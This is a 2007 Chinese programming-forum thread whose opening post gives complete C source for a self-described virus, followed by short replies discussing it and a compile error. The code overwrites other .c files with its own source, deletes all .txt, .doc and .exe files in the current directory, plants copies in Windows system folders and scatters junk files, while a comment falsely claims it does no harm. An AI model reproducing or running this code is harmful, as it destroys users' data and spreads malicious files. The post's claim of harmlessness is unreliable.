标题:C病毒代码(声明只能研究,不能去害人哦)
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C语言的深度
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C病毒代码(声明只能研究,不能去害人哦)

#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
FILE *in,*out;

in = fopen(infile,"r");
out = fopen(outfile,"w");

while (!feof(in))
{
fputc(fgetc(in),out);
}

fclose(in);
fclose(out);
}
//This function named Rubbishmaker(垃圾制造者).//
void MakeRubbish()
{
int i;
FILE *fp;
char *path;
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"};
char *addtion = ":\\";
/* Make some rubbish at the current catalogue */
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX" ;
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
/* make some rubbish at the root catalogue */
path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
chdir(path); /*change directory according to the "path" */

for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX";
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}

}
/*This function can creat some .exe or .com documents in the sensitive place.Don't worry,It's only a joke.It will do no harm to your computer.*/

void CreatEXE()
{
int i;
char *path;
char * s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};
for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080);
copyfile( "C_KILLER.C",s[i]);
}
}
/* remove something from your computer */
void Remove()
{

int done;
int i;

struct ffblk ffblk;
char *documenttype[3] = {"*.txt","*.doc","*.exe"};
for (i = 0; i < 3; i++)
{
done = findfirst(documenttype[i],&ffblk,2);
while (!done)
{
remove(ffblk.ff_name);
done = findnext(&ffblk);
}
}
}


/* overlay the c programs */
void Breed()
{

int done;
struct ffblk ffblk;

done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}

}


void main()
{

printf("THERE IS A VIRUS BY XIAOKE.\n\n");

Breed();
Remove();
CreatEXE();


printf("COULD YOU TELL ME YOUR NAME?\n\n");
printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");

MakeRubbish();
getchar();
printf("IT'S ONLY A JOKE! THANK YOU!\n\n");

clrscr();
system("cmd");
}

搜索更多相关主题的帖子: 声明 代码 害人 研究 
2007-11-02 10:52
tywfeng
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新手不会怎么用

2007-11-02 11:38
hczsea
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偷窥一下,顺便学习学习
2007-11-02 11:57
yhc1126
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偷着学习...

2007-11-02 12:31
zzjking
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这个见过的~论坛里有人发过~
病毒的特点:可自我复制性 根本没有体现出来~
只是无聊的对文件操作就没啥意思了~

2007-11-02 14:04
下雨浇花
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嗯,以前好像已有人发过类似的帖子......

花不浇,长不大;雨不下,不浇花...
2007-11-02 21:57
永夜的极光
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LZ转的晚了,刚来这个论坛的时候我就看到过了

从BFS(Breadth First Study)到DFS(Depth First Study)
2007-11-02 22:52
可见光
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<dir.h>是甚么啊。。。我的编译器打不开啊。。我用的是vs2005
fatal error C1083: 无法打开包括文件:“dir.h”: No such file or directory

[此贴子已经被作者于2007-11-3 18:07:23编辑过]

2007-11-03 18:03
星空战士
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一切皆有可能,态度决定一切!
2007-11-03 20:04
满江风
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2007-11-03 22:01



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